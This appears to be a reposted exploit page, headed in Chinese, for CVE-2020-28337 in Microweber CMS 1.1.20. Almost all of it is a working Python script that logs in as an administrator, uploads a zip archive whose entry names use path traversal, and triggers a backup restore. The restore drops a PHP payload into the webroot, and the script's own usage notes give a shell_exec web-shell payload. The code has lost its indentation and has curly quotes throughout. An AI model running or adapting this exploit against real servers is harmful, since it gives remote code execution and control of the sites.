# CVE-2020-28337 Microweber CMS 1.1.20 遠程代碼執行漏洞
==EXP==
# Exploit Title: Microweber CMS 1.1.20 - Remote Code Execution (Authenticated) # Date: 2020-10-31 # Exploit Author: sl1nki # Vendor Homepage: https://microweber.org/ # Software Link: https://github.com/microweber/microweber/tree/1.1.20 # Version: <=1.1.20 # Tested on: Ubuntu 18.04 # CVE : CVE-2020-28337 # # Example usage with default phpinfo() payload: # ./microweber_rce.py \ # --hostname "http://microwebertest.com" \ # --username "admin" \ # --password "password123" # # # Example usage with custom payload (shell_exec): # ./microweber_rce.py \ # --hostname "http://microwebertest.com" \ # --username "admin" \ # --password "password123" \ # --payload '" . shell_exec($_REQUEST["fexec"]) . "
“;} ?>’
#
# Notes:
# * SSL verification is disabled by default
# * If for some reason the –target-path “/userfiles/cache
#!/usr/bin/python3
#/” doesn’t work, “/userfiles/modules/” is a good one too.
#
#
#
import argparse
import re
import requests
import sys
import zipfile
from io import BytesIO
# Disable insecure SSL warnings
requests.packages.urllib3.disable_warnings()
class Microweber():
def __init__(self, baseUrl, proxies=None):
self.baseUrl = baseUrl
self.proxies = proxies
self.cookies = None
self.loginUrl = “/api/user_login”
self.uploadUrl = “/plupload”
self.moveZipToBackupUrl = “/api/Microweber/Utils/Backup/move_uploaded_file_to_backup”
self.restoreBackupUrl = “/api/Microweber/Utils/Backup/restore”
self.targetPath = “/userfiles/cache/”
self.targetFilename = “payload.php”
self.zipPayloadName = “payload.zip”
def makePostRequest(self, url, data=None, files=None, headers=None):
return requests.post(self.baseUrl + url,
data=data,
files=files,
headers=headers,
cookies=self.cookies,
proxies=self.proxies,
verify=False
)
def makeGetRequest(self, url, params=None):
return requests.post(self.baseUrl + url,
params=params,
cookies=self.cookies,
proxies=self.proxies,
verify=False
)
def login(self, username, password):
res = self.makePostRequest(self.loginUrl, data={
“username”: username,
“password”: password
})
if res.status_code == 200 and ‘success’ in res.json() and res.json()[‘success’] == “You are logged in!”:
print(f”[+] Successfully logged in as {username}”)
self.cookies = res.cookies
else:
print(f”[-] Unable to login. Status Code: {res.status_code}”)
sys.exit(-1)
def createZip(self, path=None, filename=None, payload=None):
# In-memory adaptation of ptoomey3’s evilarc
# https://github.com/ptoomey3/evilarc
if payload == None:
payload = “”
zd = BytesIO()
zf = zipfile.ZipFile(zd, “w”)
# The custom Unzip class uses a path under the webroot for cached file extraction
# /storage/cache/backup_restore/
# so moving up 4 directories puts us at the webroot
zf.writestr(f”../../../..{path}{filename}”, payload)
zf.close()
return zd
def uploadZip(self, zipData):
# Upload the zip data as a general file
res = self.makePostRequest(self.uploadUrl,
headers={“Referer”: “”},
data={
“name”: self.zipPayloadName,
“chunk”: 0,
“chunks”: 1
},
files={“file”: (self.zipPayloadName, zipData.getvalue(), “application/zip”)}
)
if res.status_code == 200:
print(f”[+] Successfully uploaded: {self.zipPayloadName}”)
j = res.json()
print(f”[+] URL: {j[‘src’]}”)
print(f”[+] Resulting Filename: {j[‘name’]}”)
self.zipPayloadName = j[‘name’]
else:
print(f”[-] Unable to upload: {self.zipPayloadName} (Status Code: {res.status_code})”)
sys.exit(-1)
def getAbsoluteWebRoot(self):
# Determine the webroot using the debug output and the DefaultController.php path
res = self.makeGetRequest(“”, params={
“debug”: “true”
})
if res.status_code != 200:
print(f”[-] Unable to collect debug information. Bad server response: {res.status_code}”)
sys.exit(-1)
target = “src/Microweber/Controllers/DefaultController.php”
m = re.findall(‘([\/\w]+)\/src\/Microweber\/Controllers\/DefaultController\.php’, res.text)
if len(m) == 1:
return m[0]
else:
print(f”[-] Unable to determine the webroot using {target}. Found {len(m)} matches”)
def moveZipToBackup(self):
# Move the uploaded zip file into the backup directory
webRoot = self.getAbsoluteWebRoot()
hostname = self.baseUrl.split(“//”)[1]
src = f”{webRoot}/userfiles/media/{hostname}/{self.zipPayloadName}”
res = self.makeGetRequest(self.moveZipToBackupUrl, params={
“src”: src
})
if res.status_code == 200 and ‘success’ in res.json() and res.json()[‘success’] == f”{self.zipPayloadName} was uploaded!”:
print(f”[+] Successfully moved {self.zipPayloadName} to backup”)
else:
print(f”[-] Unable to move zip to backup ({res.status_code})”)
sys.exit(-1)
def restoreBackup(self, filename):
# With the zip file in the backup directory, ‘restore’ it, which will cause it to be extracted unsafely
res = self.makePostRequest(self.restoreBackupUrl, data={
“id”: filename
})
if res.status_code == 200 and “Backup was restored!” in res.text:
print(f”[+] Successfully restored backup {filename}”)
else:
print(f”[-] Unable to restore backup {filename}”)
sys.exit(-1)
def exploit(self, payload=None):
zipData = m.createZip(self.targetPath, self.targetFilename, payload=payload)
m.uploadZip(zipData)
m.moveZipToBackup()
m.restoreBackup(self.zipPayloadName)
print(f”[+] Successfully uploaded payload to {self.targetFilename}!=”)
print(f”[+] Visit: {self.baseUrl}{self.targetPath}{self.targetFilename}”)
if __name__ == “__main__”:
parser = argparse.ArgumentParser()
parser.add_argument(“–hostname”, required=True, dest=”hostname”, help=”Microweber hostname with protocol (e.g. http://microwebertest.com)”)
parser.add_argument(“–http-proxy”, required=False, dest=”http_proxy”, help=”HTTP Proxy (e.g. http://127.0.0.1:8000)”)
parser.add_argument(“–username”, “-u”, required=True, dest=”username”, help=”Username of administrative user”)
parser.add_argument(“–password”, “-p”, required=True, dest=”password”, help=”Password of administrative user”)
parser.add_argument(“–payload”, required=False, dest=”payload”, help=”Payload contents. Should be a string of PHP code. (default is phpinfo() )”)
# Uncommon args
parser.add_argument(“–target-file”, required=False, dest=”target_file”, help=”Target filename of the payload (default: payload.php”)
parser.add_argument(“–target-path”, required=False, dest=”target_path”, help=”Target path relative to webroot for the payload (default: /userfiles/cache/”)
parser.add_argument(“–zip-name”, required=False, dest=”zip_name”, help=”File name of tmp backup zip”)
args = parser.parse_args()
proxies = None
if args.http_proxy:
proxies = {
“http”: args.http_proxy
}
m = Microweber(args.hostname, proxies=proxies)
if args.target_file:
m.targetFilename = args.target_file
if args.target_path:
m.targetPath = args.target_path
if args.zip_name:
m.zipPayloadName = args.zip_name
m.login(args.username, args.password)
m.exploit(args.payload)
暂无评论内容